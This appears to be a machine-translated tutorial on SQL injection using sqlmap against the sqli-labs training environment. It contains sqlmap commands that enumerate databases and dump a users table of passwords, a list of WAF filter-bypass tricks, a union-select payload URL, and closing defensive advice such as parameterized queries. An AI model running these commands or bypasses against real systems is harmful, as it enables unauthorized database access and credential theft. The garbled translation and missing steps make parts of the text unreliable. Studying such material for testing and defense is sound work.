How to analyze SQLMap and SQLi injection defense

#(3) Export results:

• ##sqlmap -u "www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”

• --file-dest=”E:/wwwroot/web/one. php "

• --batch fully automatic

• --start=start number--stop=end number

• --dump Export data

• --dump-all Export all data

• --purge-output/ --purge Clear cache directory

• --sql-shell Rebound sqlshell, similar to sql query analyzer Default path.sqlmap (click sqlmap)

#Less-1--Less65 general statements (these are the most commonly used parameters, must be understood)

#(1) Get all library namesC:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms=mysql --batch

# Analysis:

#Result:[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test

#(2) Get the current library nameC:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current -db --batch

#Result:current database: 'security'

#(3) Get the current table nameC :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch

# Result:Database: security
[4 tables]
----------
| emails |
| referers |
| uagents |
| users |
----------

#(4) Get the current column nameC:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch

#Result: Database: security
Table: users
[3 columns]
---------- -------------
| Column | Type |
---------- -------------
| id | int(3) |
| password | varchar (20) |
| username | varchar(20) |
---------- -------------

#(5) Get the username and password contents in the users table C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch

#Result:Database: security
Table: users
[13 entries ]
---------- ------------
| username | password |
---------- --- ---------
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy |
| stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
---------- ------------

Note: Here are only examples to illustrate the bypass method, the actual scenario is more complicated Complex. Multiple bypass methods can be mixed and encoded.

• #(1) Filter comment character

• (2) Filter and or or

• #(3) Filter select Or union

• #(4) Filter blacklist

• #(1) Mysql is not case sensitive and can be executed correctly;===>Use case deformation

• #(2)mysql supports hexadecimal, use hexadecimal or URL encoding;

• #(3)Replace words with symbols = ==> Symbol bypass and(&&) or(||)

• #(4) Inline comments and multi-line comments===>Add comments in sensitive words a/**/nd Double write bypass oORr

3. Of course there are other methods. Let’s take these filtering methods as examples to talk about how to bypass.

There are waf devices in real scenarios, and waf actually prevents sql injection by filtering some keywords.

2.2 SQL injection bypass waf experiment

1. Filter the annotation (Less- 23 as an example)

#(1) Reasons for filtering comment characters: For normal SQL statements, comment characters play a descriptive role. However, in the process of exploiting SQL injection vulnerabilities, comment characters play the role of closing single quotes, multiple single quotes, double quotes, single brackets, and multiple brackets.
Single-line comments: -- or --space or
#Multi-line comments: /* Multi-line comment content*/

#(2) Filter function preg_replace
preg_replace(mixed $pattern, mixed $replacement, mixed $subject): Perform a regular expression search and replacement.
$pattern: The pattern to search for, which can be a string or a string array
$replacement: The string or string array used for replacement.
$subject: The target string or string array to be searched and replaced.

#(3) Bypass comment characters:
Using comment characters to filter cannot successfully close single quotes, etc., use another way of thinking and use or '1'='1 Closing single quotes, etc.
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1,database(),'3

2. How to bypass filtered and or or? (Less-25 as an example)

(1) Source code analysis: You can see that or or and is replaced with empty

(2) Operation steps

3. How to bypass filtered spaces? (Less-26 as an example)

(1)Use To act as spaces

4. How to bypass filtered select/union? (Less-27 is an example)

Part Three: SQL Injection Defense

3.1 SQL Injection Defense Method

1. Common protective measures:

#(1), turn off error prompts: display_errors=Off
# in the PHP configuration file php.ini (2), magic quotes (same effect as addslashes): when in php.ini magic_quotes_gpc=On. All single quotes ('), double quotes ("), backslashes (\) and NUL (NULL characters) in the submitted variables will be automatically converted to escape characters containing backslashes
#(3), Filter the data: For example, filter out common keywords such as and/or/union
#(4). Control user permissions to connect to the database: Each library sets an administrator for a single library, do not use root permissions.
#(5), Preprocessing and parameterization (PDO): Process the parameters passed in by the user and return a Boolean value, instead of simply "splicing" the data, thereby avoiding SQL injection.
#(6) Hardware Protection measures (WAF and other hardware)